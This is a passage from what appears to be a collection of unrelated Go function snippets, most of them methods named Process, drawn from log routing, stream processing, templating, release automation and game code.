{\n\t\t\tf.loggers.Error().Msg(err.Error())\n\t\t}\n\n\t\treturn false\n\t}\n\n\tf.transport.DataChannel() <- item\n\n\treturn true\n}","func (s *Stream) Process(name string, p Processor) *Stream {\n\tn := s.tp.AddProcessor(name, p, s.parents)\n\n\treturn newStream(s.tp, []Node{n})\n}","func (ep *groupbyExecutionPlan) Process(input *core.Tuple) ([]data.Map, error) {\n\treturn ep.process(input, ep.performQueryOnBuffer)\n}","func (r *RollupRouter) Process(logmsg map[string]interface{}) {\n\tif r.ctxDone {\n\t\treturn\n\t}\n\n\tstatusCode, ok := logmsg[\"status-code\"].(int)\n\tif !ok {\n\t\treturn\n\t}\n\top, ok := logmsg[\"op\"].(string)\n\tif !ok {\n\t\treturn\n\t}\n\thttpMethod, ok := logmsg[\"method\"].(string)\n\tif !ok {\n\t\treturn\n\t}\n\tcanary, ok := logmsg[\"canary\"].(bool)\n\tif !ok {\n\t\treturn\n\t}\n\tr.findOrCreate(statusCode, op, httpMethod, canary).add(logmsg)\n}","func (_ ClicheProcessor) Process(c *Chunk) *Chunk {\n\tmsg := \"This is a cliche.\"\n\treturn doTextProcessor(proc.ClicheProcessor(), \"cliche\", c, msg)\n}","func (m *Processor) Process(string) (func(phono.Buffer) (phono.Buffer, error), error) {\n\treturn func(b phono.Buffer) (phono.Buffer, error) {\n\t\tm.Advance(b)\n\t\treturn b, nil\n\t}, nil\n}","func Process(v, pattern, prerelease, metadata, prefix string, ignore bool) (string, error) {\n\tlastTag := getLatestGitTag(getCommitSHA())\n\tif ignore && v == \"\" {\n\t\treturn \"\", fmt.Errorf(\"ignore previous is true but no base version provided, please check input\")\n\t} else if !ignore {\n\t\tv = lastTag\n\t}\n\n\tif prerelease == \"\" {\n\t\tprerelease = timeSinceLastTag(lastTag)\n\t}\n\n\tsemVer, err := semver.NewVersion(v)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"version parse failed, [%v]. %s is not a valid SemVer tag\", err, v)\n\t}\n\n\toutVersion := incVersion(*semVer, pattern)\n\n\tt, err := outVersion.SetPrerelease(prerelease)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error appending pre-release data: %v\", err)\n\t}\n\toutVersion = t\n\n\tif metadata != \"\" {\n\t\tt, err := outVersion.SetMetadata(metadata)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"error appending metadata: %v\", err)\n\t\t}\n\t\toutVersion = t\n\t}\n\n\toutString := outVersion.String()\n\n\tif prefix != \"\" {\n\t\toutString = fmt.Sprintf(\"%s%s\", prefix, outString)\n\t}\n\n\treturn outString, nil\n}","func (n *ParDo) ProcessElement(_ context.Context, elm *FullValue, values ...ReStream) error {\n\tif n.status != Active {\n\t\treturn errors.Errorf(\"invalid status for pardo %v: %v, want Active\", n.UID, n.status)\n\t}\n\n\tn.states.Set(n.ctx, metrics.ProcessBundle)\n\n\treturn n.processMainInput(&MainInput{Key: *elm, Values: values})\n}","func postProcess(ctx context.Context, handle dispatcher.TaskHandle, gTask *proto.Task, logger *zap.Logger) error {\n\ttaskMeta := &TaskMeta{}\n\terr := json.Unmarshal(gTask.Meta, taskMeta)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttableImporter, err := buildTableImporter(ctx, taskMeta)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\terr2 := tableImporter.Close()\n\t\tif err == nil {\n\t\t\terr = err2\n\t\t}\n\t}()\n\n\tmetas, err := handle.GetPreviousSubtaskMetas(gTask.ID, gTask.Step)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsubtaskMetas := make([]*SubtaskMeta, 0, len(metas))\n\tfor _, bs := range metas {\n\t\tvar subtaskMeta SubtaskMeta\n\t\tif err := json.Unmarshal(bs, &subtaskMeta); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tsubtaskMetas = append(subtaskMetas, &subtaskMeta)\n\t}\n\n\tlogger.Info(\"post process\", zap.Any(\"task_meta\", taskMeta), zap.Any(\"subtask_metas\", subtaskMetas))\n\tif err := verifyChecksum(ctx, tableImporter, subtaskMetas, logger); err != nil {\n\t\treturn err\n\t}\n\n\tupdateResult(taskMeta, subtaskMetas, logger)\n\treturn updateMeta(gTask, taskMeta)\n}","func (f *Ifacer) Process() error {\n\tcontent, err := f.tpl.Execute(\"ifacer\", ifacerTemplate, f)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsrc, err := imports.Process(\"\", []byte(content), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tf.Content = string(src)\n\n\treturn nil\n}","func processCompileUnit(theReader *dwarf.Reader, depth int, theEntry *dwarf.Entry) {\n\n\n\n\t// Process the entry\n\tgCurrentFile = theEntry.Val(dwarf.AttrName).(string);\n\n\tif (theEntry.Children) {\n\t\tprocessChildren(theReader, depth+1, false);\n\t}\n\n\tgCurrentFile = \"\";\n\n}","func Process(cmdLine CommandLine) error {\n\tfile, err := os.Open(cmdLine.FilePath)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to open file\")\n\t}\n\n\tvar parser cartparsers.CartParser\n\tif cmdLine.IsCarters {\n\t\tparser = cartparsers.NewCartersParser(cmdLine.Username, cmdLine.Password)\n\t}\n\tif parser == nil {\n\t\treturn errors.New(\"failed get parser\")\n\t}\n\n\tresult, err := parser.Parse(file)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to parse cart\")\n\t}\n\n\treturn SaveTemplate(cmdLine.TemplatePath, result)\n}","func (p *Plugin) Process(rawSpec map[string]interface{}, context *smith_plugin.Context) smith_plugin.ProcessResult {\n\tspec := Spec{}\n\terr := runtime.DefaultUnstructuredConverter.FromUnstructured(rawSpec, &spec)\n\tif err != nil {\n\t\treturn &smith_plugin.ProcessResultFailure{\n\t\t\tError: errors.Wrap(err, \"failed to unmarshal json spec\"),\n\t\t}\n\t}\n\n\t// Do the processing\n\troleInstance, err := generateRoleInstance(&spec)\n\tif err != nil {\n\t\treturn &smith_plugin.ProcessResultFailure{\n\t\t\tError: err,\n\t\t}\n\t}\n\treturn &smith_plugin.ProcessResultSuccess{\n\t\tObject: roleInstance,\n\t}\n}","func (c *Collection) Process(outdir string) error {\n\tfor _, a := range c.assets {\n\t\tif err := c.ProcessAsset(a, c.filters, outdir); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (processor *Processor) Process(event *stream.Event) error {\n\tnewBattleComments := make(map[string][]*comments.Comment)\n\tfor _, record := range event.Records {\n\t\tprocessor.captureChanges(&record, newBattleComments)\n\t}\n\tfor battleID, newComments := range newBattleComments {\n\t\tprocessor.processNewComments(battleID, newComments)\n\t}\n\treturn nil\n}","func lineProcess(line string) {\n\t// pre process\n\n\tlog, err := UnmarshalLog(line)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// post process\n\n\t// Update Global Data \n\tgMu.Lock()\n\tallMap[log.HDid] ++\n\tif log.HAv != \"\" {\n\t\terrMap[log.HDid] ++\n\t}\n\tgMu.Unlock()\n\n}","func (tpl *Engine) Process(m map[string]string) (result string, err error) {\n\tw := tpl.byteBufferPool.Get()\n\tn := len(tpl.texts) - 1\n\tif n == -1 {\n\t\tif _, err = w.Write([]byte(tpl.data)); err != nil {\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tfor i := 0; i < n; i++ {\n\t\t\tif _, err = w.Write(tpl.texts[i]); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tv := m[tpl.tags[i]]\n\t\t\tif _, err = w.Write([]byte(v)); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tif _, err = w.Write(tpl.texts[n]); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\ts := string(w.Bytes())\n\tw.Reset()\n\ttpl.byteBufferPool.Put(w)\n\treturn s, err\n}","func (machine *Machine) Process(e *expect.GExpect, root *Root, server *Server) error {\n\tif machine.Ignore {\n\t\treturn nil\n\t}\n\tif err := machine.Create(e, root, server); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func Process(rule CSSRule, ts ...Transformer) CSSRule {\n\tts = append(ts, Flattern)\n\tfor _, v := range ts {\n\t\trule = v(rule)\n\t}\n\treturn rule\n}","func (h *hasher) ProcessRecord(r *store.Record) error {\n\tif r.File() == nil {\n\t\th.log.Printf(\"Module '%s': no record's file available for %s\", moduleName, r.Key())\n\t\treturn nil\n\t}\n\n\th.hash.Reset()\n\tif _, err := io.Copy(h.hash, r.File()); err != nil {\n\t\treturn fmt.Errorf(\"module '%s': fail to compute checksum for '%s': %v\", moduleName, r.Key(), err)\n\t}\n\tchecksum := hex.EncodeToString(h.hash.Sum(nil))\n\tr.Set(HashField, checksum)\n\th.log.Printf(\"Module '%s': record hash is: %v\", moduleName, checksum)\n\n\tmatches, err := h.store.SearchFields(-1, HashField, checksum)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"module '%s': fail to look for duplicate: %v\", moduleName, err)\n\t}\n\tif len(matches) > 0 {\n\t\treturn fmt.Errorf(\"module '%s': possible duplicate(s) of record (%v) found in the database\", moduleName, matches)\n\t}\n\n\treturn nil\n}","func (p *Orderer) Process(e dag.Event) (err error) {\n\terr, selfParentFrame := p.checkAndSaveEvent(e)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = p.handleElection(selfParentFrame, e)\n\tif err != nil {\n\t\t// election doesn't fail under normal circumstances\n\t\t// storage is in an inconsistent state\n\t\tp.crit(err)\n\t}\n\treturn err\n}","func (i *Item) Process(cmd *command.Command) (handled bool) {\n\n\t// This specific item?\n\tif !i.IsAlias(cmd.Target) {\n\t\treturn\n\t}\n\n\tswitch cmd.Verb {\n\tcase \"DROP\":\n\t\thandled = i.drop(cmd)\n\tcase \"WEIGH\":\n\t\thandled = i.weigh(cmd)\n\tcase \"EXAMINE\", \"EXAM\":\n\t\thandled = i.examine(cmd)\n\tcase \"GET\":\n\t\thandled = i.get(cmd)\n\tcase \"JUNK\":\n\t\thandled = i.junk(cmd)\n\t}\n\n\treturn\n}","func (mf *Flags) Process() {\n\tflag.StringVar(&mf.ConfigPath, \"file\", defaultConfigPath, \" full path to the configuration file\")\n\tflag.BoolVar(&mf.Verify, \"verify\", false, \"only verify the configuration, don't run\")\n\tflag.Parse()\n}","func (fn *RuntimeMonitor) ProcessElement(key, value []byte, emit func([]byte, []byte)) {\n\temit(key, value)\n}","func (c *Collection) Process() error {\n\tfor _, a := range c.assets {\n\t\tif err := c.ProcessAsset(a, c.filters); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func Process(event *events.SQSEvent) error {\n\n\tp := newProcessor(*newForwarder(), *newDBClient())\n\n\tfor _, message := range event.Records {\n\t\tfmt.Printf(\"Processing message %s | %s\\n\", message.MessageId, message.Body)\n\n\t\terr := p.subProcess(&message)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not call subprocessor: %v\", err)\n\t\t}\n\t}\n\treturn nil\n}","func (c Collation) Process(p RuleProcessor) (err error) {\n\tif len(c.Cr) > 0 {\n\t\tif len(c.Cr) > 1 {\n\t\t\treturn fmt.Errorf(\"multiple cr elements, want 0 or 1\")\n\t\t}\n\t\treturn processRules(p, c.Cr[0].Data())\n\t}\n\tif c.Rules.Any != nil {\n\t\treturn c.processXML(p)\n\t}\n\treturn errors.New(\"no tailoring data\")\n}","func (s *BaseSyslParserListener) EnterTransform(ctx *TransformContext) {}","func (s *Stream) Process(f interface{}) *Stream {\n\top, err := unary.ProcessFunc(f)\n\tif err != nil {\n\t\ts.drainErr(err)\n\t\treturn s\n\t}\n\treturn s.Transform(op)\n}","func (r *Router) process(path string, query url.Values) {\n\tr.process2(path, query, nil)\n}","func (ts *TraceServiceExtractor) Process(t model.WeightedTrace) {\n\tmeta := make(model.ServicesMetadata)\n\n\tfor _, s := range t {\n\t\tif !s.TopLevel {\n\t\t\tcontinue\n\t\t}\n\n\t\tif _, ok := meta[s.Service]; ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tif v := s.Type; len(v) > 0 {\n\t\t\tmeta[s.Service] = map[string]string{model.AppType: v}\n\t\t}\n\t}\n\n\tif len(meta) > 0 {\n\t\tts.outServices <- meta\n\t}\n}","func (s *Service) Process(ctx context.Context, request []byte) ([]byte, error) {\n\tserviceContext := GetServiceContext(ctx)\n\tname, args, err := s.Codec.Decode(request, serviceContext)\n\tif err != nil {\n\t\treturn s.Codec.Encode(err, serviceContext)\n\t}\n\tvar result interface{}\n\tfunc() {\n\t\tdefer func() {\n\t\t\tif p := recover(); p != nil {\n\t\t\t\tresult = NewPanicError(p)\n\t\t\t}\n\t\t}()\n\t\tresults, err := s.invokeManager.Handler().(NextInvokeHandler)(ctx, name, args)\n\t\tif err != nil {\n\t\t\tresult = err\n\t\t\treturn\n\t\t}\n\t\tswitch len(results) {\n\t\tcase 0:\n\t\t\tresult = nil\n\t\tcase 1:\n\t\t\tresult = results[0]\n\t\tdefault:\n\t\t\tresult = results\n\t\t}\n\t}()\n\treturn s.Codec.Encode(result, serviceContext)\n}","func (tx *Tx) Process(process Processor) {\n\tfor i := 0; i < len(tx.leases); i++ {\n\t\titer := Iter{Lease: Clone(tx.leases[i])}\n\t\tprocess(&iter)\n\t\ti += tx.apply(iter.action, iter.Lease, i, 1)\n\t}\n\tsort.Sort(tx.leases)\n}","func (a *writeAuthorizer) Process(r *http.Request, wr *prompb.WriteRequest) error {\n\tvar (\n\t\ttenantFromHeader = getTenant(r)\n\t\tnum = len(wr.Timeseries)\n\t)\n\tif num == 0 {\n\t\treturn nil\n\t}\n\tfor i := 0; i < num; i++ {\n\t\tmodifiedLbls, err := a.verifyAndApplyTenantLabel(tenantFromHeader, wr.Timeseries[i].Labels)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"write-authorizer process: %w\", err)\n\t\t}\n\t\twr.Timeseries[i].Labels = modifiedLbls\n\t}\n\treturn nil\n}","func (p *addProcessMetadata) Run(event *beat.Event) (*beat.Event, error) {\n\tfor _, pidField := range p.config.MatchPIDs {\n\t\tresult, err := p.enrich(event.Fields, pidField)\n\t\tif err != nil {\n\t\t\tswitch err {\n\t\t\tcase common.ErrKeyNotFound:\n\t\t\t\tcontinue\n\t\t\tcase ErrNoProcess:\n\t\t\t\treturn event, err\n\t\t\tdefault:\n\t\t\t\treturn event, errors.Wrapf(err, \"error applying %s processor\", processorName)\n\t\t\t}\n\t\t}\n\t\tif result != nil {\n\t\t\tevent.Fields = result\n\t\t}\n\t\treturn event, nil\n\t}\n\tif p.config.IgnoreMissing {\n\t\treturn event, nil\n\t}\n\treturn event, ErrNoMatch\n}","func (f *IPLineFilter) Process(line []byte, _ *LabelsBuilder) ([]byte, bool) {\n\treturn line, f.filterTy(line, f.ty)\n}","func processFile(path string) error {\n\tid, err := getEntryID(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tentry, err := loadEntry(id)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := tagFile(path, entry); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (mov *Moves) Process() {\n\tmov.Upsert(mov.Select(movRelCollide.All()), nil)\n\t// TODO 2-phase application so that mid-line and glancing collisions are possible\n\tmov.Upsert(mov.Select((movRelPending | movDir | movMag).All()), mov.processPendingMove)\n}","func (s *Scheduler) Process(ip Meta) (data []Meta) {\n\tk := s.getKey(ip)\n\tif _, exists := s.hash[k]; !exists {\n\t\ts.hash[k] = newVal(s.batchSize)\n\t}\n\ts.hash[k].add(ip)\n\tdata = s.batchProcess(k)\n\treturn\n}","func (req *Request) Process() error {\n\ts, err := req.TextProto.ReadLine()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Line = strings.Split(s, \" \")\n\tif len(req.Line) <= 0 {\n\t\treturn req.TextProto.PrintfLine(\"%d %s (%s)\", 500, \"Command not recognized\", s)\n\t}\n\n\tif req.Server.Processors == nil {\n\t\treq.Server.Processors = DefaultProcessors\n\t}\n\n\treq.Line[0] = strings.ToUpper(req.Line[0])\n\n\tprocessor, found := req.Server.Processors[req.Line[0]]\n\tif !found {\n\t\treturn req.TextProto.PrintfLine(\"%d %s (%s)\", 500, \"Command not recognized\", req.Line[0])\n\t}\n\n\treturn processor(req)\n}","func (p *Publisher) Process(msg message.Message) ([]bytes.Buffer, error) {\n\tp.publisher.Publish(msg.Category(), msg)\n\treturn nil, nil\n}","func (p *leafTaskProcessor) Process(\n\tctx context.Context,\n\tstream protoCommonV1.TaskService_HandleServer,\n\treq *protoCommonV1.TaskRequest,\n) {\n\terr := p.process(ctx, req)\n\tif err == nil {\n\t\treturn\n\t}\n\tif sendError := stream.Send(&protoCommonV1.TaskResponse{\n\t\tTaskID: req.ParentTaskID,\n\t\tType: protoCommonV1.TaskType_Leaf,\n\t\tCompleted: true,\n\t\tErrMsg: err.Error(),\n\t\tSendTime: timeutil.NowNano(),\n\t}); sendError != nil {\n\t\tp.logger.Error(\"failed to send error message to target stream\",\n\t\t\tlogger.String(\"taskID\", req.ParentTaskID),\n\t\t\tlogger.Error(err),\n\t\t)\n\t}\n}","func (c crd) Process(appMeta helmify.AppMetadata, obj *unstructured.Unstructured) (bool, helmify.Template, error) {\n\tif obj.GroupVersionKind() != crdGVC {\n\t\treturn false, nil, nil\n\t}\n\tspecUnstr, ok, err := unstructured.NestedMap(obj.Object, \"spec\")\n\tif err != nil || !ok {\n\t\treturn true, nil, errors.Wrap(err, \"unable to create crd template\")\n\t}\n\tversions, _ := yaml.Marshal(specUnstr)\n\tversions = yamlformat.Indent(versions, 2)\n\tversions = bytes.TrimRight(versions, \"\\n \")\n\n\tres := fmt.Sprintf(crdTeml, obj.GetName(), appMeta.ChartName(), string(versions))\n\tname, _, err := unstructured.NestedString(obj.Object, \"spec\", \"names\", \"singular\")\n\tif err != nil || !ok {\n\t\treturn true, nil, errors.Wrap(err, \"unable to create crd template\")\n\t}\n\treturn true, &result{\n\t\tname: name + \"-crd.yaml\",\n\t\tdata: []byte(res),\n\t}, nil\n}","func (s *Service) Process(ctx context.Context, payload hooks.PushPayload) {\n\tstart := time.Now()\n\t// this span is a child of the parent span in the http handler, but since this will finish after\n\t// the http handler returns, it follows from that span so it will display correctly.\n\tparentContext := opentracing.SpanFromContext(ctx).Context()\n\tspanOption := opentracing.FollowsFrom(parentContext)\n\tspan := opentracing.StartSpan(\"process_scala\", spanOption)\n\tdefer span.Finish()\n\n\t// creates a new copy of the context with the following span\n\tctx = opentracing.ContextWithSpan(ctx, span)\n\n\t// create a new directory to do all the work of this Process call which can be cleaned up at the end.\n\tid := uuid.NewV4().String()\n\tworkDir := fmt.Sprintf(\"/tmp/%s\", id)\n\terr := os.Mkdir(workDir, 0750)\n\tif err != nil {\n\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"mkdir\"}, 1)\n\t\terr = errors.WithStack(err)\n\t\ts.logger.Errorf(\"%+v\", err)\n\t\treturn\n\t}\n\n\t// create a struct for passing to other functions referencing the location of the work\n\t// this specific Process call is executing.\n\tprocProps := processorProps{\n\t\tID: id,\n\t\tWorkDir: workDir,\n\t}\n\n\t// defer cleanup of this Process execution\n\tdefer cleanup(ctx, s.fs, s.logger, procProps)\n\n\t// if we receive a signal that this goroutine should stop, do that\n\t// since cleanup is deferred it will still execute after the return statement\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn\n\t// otherwise, do our work\n\tdefault:\n\t\t// clone down the repository\n\t\tpath, err := s.cloneCode(ctx, payload, procProps)\n\t\tif err != nil {\n\t\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"clone\"}, 1)\n\t\t\ts.logger.Errorf(\"%+v\\n\", errors.WithStack(err))\n\t\t\treturn\n\t\t}\n\n\t\t// on master branch we want to cut a full release\n\t\t// but on any other branch or commit we should be be making\n\t\t// a prerelease\n\t\tvar version string\n\t\tvar prerelease bool\n\t\tif strings.Contains(payload.Ref, \"master\") {\n\t\t\tversion = fmt.Sprintf(\"v1.0.%d\", payload.Repository.PushedAt)\n\t\t\tprerelease = false\n\t\t} else {\n\t\t\tbranch := g.RefEndName(payload.Ref)\n\t\t\tversion = fmt.Sprintf(\"v1.0.%d-beta.%s\", payload.Repository.PushedAt, branch)\n\t\t\tprerelease = true\n\t\t}\n\n\t\tif err = s.repo.CreateTag(path, version, \"Automated tag by Protofact.\"); err != nil {\n\t\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"release\"}, 1)\n\t\t\ts.logger.Errorf(\"%+v\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\tif err = s.repo.PushTags(path); err != nil {\n\t\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"release\"}, 1)\n\t\t\ts.logger.Errorf(\"%+v\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\tbodyMsg := \"Automated release by Protofact.\"\n\t\trel := github.RepositoryRelease{\n\t\t\tTagName: &version,\n\t\t\tName: &version,\n\t\t\tBody: &bodyMsg,\n\t\t\tPrerelease: &prerelease,\n\t\t}\n\n\t\t_, err = s.repo.CreateRelease(ctx, payload.Repository.Owner.Login, payload.Repository.Name, &rel)\n\t\tif err != nil {\n\t\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"release\"}, 1)\n\t\t\ts.logger.Errorf(\"%+v\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\tduration := time.Since(start)\n\t\ts.metrics.AddPackagingProcessDuration(prometheus.Labels{}, duration.Seconds())\n\n\t\treturn\n\t}\n}","func (t *treeSimplifier) process(tree *parse.Tree) {\n\tt.tree = tree\n\trenameVariables(tree.Root)\n\tfor t.browseNodes(tree.Root) {\n\t\t// printer.PrintContent(tree) // useful for debug sometimes.\n\t\tt.reset()\n\t}\n}","func process(file string, pattern string) {\n\terr := fsutil.ValidatePerms(\"FRS\", file)\n\n\tif err != nil {\n\t\tprintErrorAndExit(err.Error())\n\t}\n\n\tdoc, errs := parser.Parse(file)\n\n\tif len(errs) != 0 {\n\t\tprintErrorsAndExit(errs)\n\t}\n\n\tif !doc.IsValid() {\n\t\tprintWarn(\"File %s doesn't contains any documentation\", file)\n\t\tos.Exit(2)\n\t}\n\n\tif options.GetS(OPT_NAME) != \"\" {\n\t\tdoc.Title = options.GetS(OPT_NAME)\n\t}\n\n\tif options.GetS(OPT_OUTPUT) == \"\" {\n\t\terr = terminal.Render(doc, pattern)\n\t} else {\n\t\terr = template.Render(\n\t\t\tdoc,\n\t\t\toptions.GetS(OPT_TEMPLATE),\n\t\t\toptions.GetS(OPT_OUTPUT),\n\t\t)\n\t}\n\n\tif err != nil {\n\t\tprintErrorAndExit(err.Error())\n\t}\n}","func (c *FileMessageWriter) Process() {\n\n\ttargetFile := TargetFile{}\n\n\tfor msg := range c.Msg {\n\n\t\tfilePath := <-c.TargetFilePath\n\t\tf, _ := targetFile.Get(filePath)\n\t\tdefer f.Close()\n\n\t\tfmt.Fprintf(f, \"%v\", msg)\n\t}\n\n}","func (p *Processor) Process() *Skelington {\n\ts := newSkelington(p.hookHolder, p.statHolder)\n\tret := p.Allocate(s, p.file, p.root, p.offset, p.manageError)\n\treturn ret\n}","func (p *PostProcessor) PostProcess(ctx context.Context, ui packer.Ui, artifact packer.Artifact) (packer.Artifact, bool, bool, error) {\n\n\tui.Say(fmt.Sprintf(\"%s\", artifact.String()))\n\n\tif p.config.AmiID != nil {\n\t\tr, _ := regexp.Compile(\"ami-[a-z0-9]+\")\n\t\tamiID := r.FindString(artifact.Id())\n\n\t\tfor file, properties := range p.config.AmiID {\n\t\t\terr := EnsureJSONFileExists(file)\n\t\t\tif err != nil {\n\t\t\t\treturn artifact, false, false, err\n\t\t\t}\n\t\t\terr = UpdateJSONFile(file, properties, amiID, ui)\n\t\t\tif err != nil {\n\t\t\t\treturn artifact, false, false, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn artifact, true, false, nil\n}","func (w *Walker) processFile(path string, info os.FileInfo, err error) error {\n\t_l := metrics.StartLogDiff(\"process-file\")\n\n\t// Output a number to the user\n\tw.liveCounter()\n\n\t// Skip directories, of course\n\tif info.IsDir() {\n\t\tmetrics.StopLogDiff(\"process-file\", _l)\n\t\treturn nil\n\t}\n\n\t// Get the file contents\n\tdata := readFile(path)\n\n\t// And call `ipfs dag put`\n\timportIntoIPFS(w.ipfs, data)\n\n\tmetrics.StopLogDiff(\"process-file\", _l)\n\treturn nil\n}","func (s *BaseSyslParserListener) EnterTransform_arg(ctx *Transform_argContext) {}","func (proc *Processor) Process(p *peer.Peer, msgType message.Type, data []byte) {\n\tproc.wp.Submit(p, msgType, data)\n}","func (m *Manager) ProcessArchetype(archetype *Archetype) (errs error) {\n\tif archetype.isProcessing {\n\t\treturn nil\n\t}\n\n\t// Eh... This isn't quite right, but pretty much everything we process and compile should retain an uncompiled version... TODO: Do some initial type parsing, if possible, then only copy the archetype to uncompiled if it is a type we want to keep an uncompiled version of around.\n\tif archetype.uncompiled == nil && (!archetype.isCompiled && !archetype.isCompiling) {\n\t\tvar original Archetype\n\t\tcopier.Copy(&original, archetype)\n\t\tarchetype.uncompiled = &original\n\t}\n\n\tarchetype.isProcessing = true\n\tif archetype.Anim != \"\" {\n\t\tarchetype.AnimID = m.Strings.Acquire(archetype.Anim)\n\t\tarchetype.Anim = \"\"\n\t}\n\tif archetype.Face != \"\" {\n\t\tarchetype.FaceID = m.Strings.Acquire(archetype.Face)\n\t\tarchetype.Face = \"\"\n\t}\n\t// Add Arch to Archs if defined.\n\tif archetype.Arch != \"\" {\n\t\tarchetype.Archs = append(archetype.Archs, archetype.Arch)\n\t\tarchetype.Arch = \"\"\n\t}\n\n\t// Process audio\n\tif archetype.Audio != \"\" {\n\t\tarchetype.AudioID = m.Strings.Acquire(archetype.Audio)\n\t\tarchetype.Audio = \"\"\n\t}\n\tif archetype.SoundSet != \"\" {\n\t\tarchetype.SoundSetID = m.Strings.Acquire(archetype.SoundSet)\n\t\tarchetype.SoundSet = \"\"\n\t}\n\n\t// Convert Archs into ArchIDs\n\tfor _, archname := range archetype.Archs {\n\t\tisAdd := false\n\t\tif archname[0] == '+' {\n\t\t\tarchname = archname[1:]\n\t\t\tisAdd = true\n\t\t}\n\t\ttargetID := m.Strings.Acquire(archname)\n\t\tancestorArchetype, err := m.GetArchetype(targetID)\n\t\tif err != nil {\n\t\t\terrs = errors.Join(errs, fmt.Errorf(\"\\\"%s\\\" does not exist\", archname))\n\t\t} else {\n\t\t\tmergeArch := MergeArch{\n\t\t\t\tID: targetID,\n\t\t\t\tType: ArchMerge,\n\t\t\t}\n\t\t\tif isAdd {\n\t\t\t\tmergeArch.Type = ArchAdd\n\t\t\t}\n\t\t\tarchetype.ArchIDs = append(archetype.ArchIDs, mergeArch)\n\t\t\tarchetype.ArchPointers = append(archetype.ArchPointers, ancestorArchetype)\n\t\t}\n\t}\n\t//archetype.Archs = nil // Might as well keep the Archs references, I suppose\n\n\t// Process Inventory.\n\tfor i := range archetype.Inventory {\n\t\tif err := m.ProcessArchetype(&archetype.Inventory[i]); err != nil {\n\t\t\terrs = errors.Join(errs, err)\n\t\t}\n\t}\n\n\t// Process type hint\n\tfor _, v := range archetype.TypeHints {\n\t\tarchetype.TypeHintIDs = append(archetype.TypeHintIDs, m.Strings.Acquire(v))\n\t\tm.TypeHints[m.Strings.Acquire(v)] = v\n\t}\n\n\t// Process Slots. FIXME: This parsing of all strings for sending slot information feels awful.\n\tarchetype.Slots.HasIDs = make(map[uint32]int)\n\tfor k, v := range archetype.Slots.Has {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.HasIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\tarchetype.Slots.UsesIDs = make(map[uint32]int)\n\tfor k, v := range archetype.Slots.Uses {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.UsesIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\tarchetype.Slots.GivesIDs = make(map[uint32]int)\n\tfor k, v := range archetype.Slots.Gives {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.GivesIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\tarchetype.Slots.Needs.MinIDs = make(map[uint32]int)\n\tarchetype.Slots.Needs.Min = make(map[string]int)\n\tfor k, v := range archetype.Slots.Needs.Min {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.Needs.MinIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\tarchetype.Slots.Needs.MaxIDs = make(map[uint32]int)\n\tfor k, v := range archetype.Slots.Needs.Max {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.Needs.MaxIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\n\t// Process Events' archetypes.\n\tprocessEventResponses := func(e *EventResponses) error {\n\t\tvar errs error\n\t\tif e == nil {\n\t\t\treturn nil\n\t\t}\n\t\tif e.Spawn != nil {\n\t\t\tfor _, a := range e.Spawn.Items {\n\t\t\t\tif err := m.ProcessArchetype(a.Archetype); err != nil {\n\t\t\t\t\terrs = errors.Join(errs, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif e.Replace != nil {\n\t\t\tfor _, a := range *e.Replace {\n\t\t\t\tif err := m.ProcessArchetype(a.Archetype); err != nil {\n\t\t\t\t\terrs = errors.Join(errs, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\tif archetype.Events != nil {\n\t\tif err := processEventResponses(archetype.Events.Birth); err != nil {\n\t\t\terrs = errors.Join(errs, err)\n\t\t}\n\t\tif err := processEventResponses(archetype.Events.Death); err != nil {\n\t\t\terrs = errors.Join(errs, 